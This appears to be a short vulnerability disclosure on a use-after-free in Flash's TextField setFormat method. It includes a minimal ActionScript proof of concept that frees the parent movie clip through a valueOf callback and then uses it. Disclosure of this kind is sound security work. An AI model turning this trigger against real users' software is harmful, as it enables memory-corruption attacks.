The TextField setFormat method contains a use-after-free.If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.
A minimal PoC is as follows:
var times = 0;var mc = this.createEmptyMovieClip("mc", 101);var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);var f = new TextFormat();
tf.setFormat({valueOf : func}, 2, f);function func(){if(times == 0){
times++;return 0;}
mc.removeMovieClip();// Fix heap here
return 0;}
A sample swf and fla are attached.
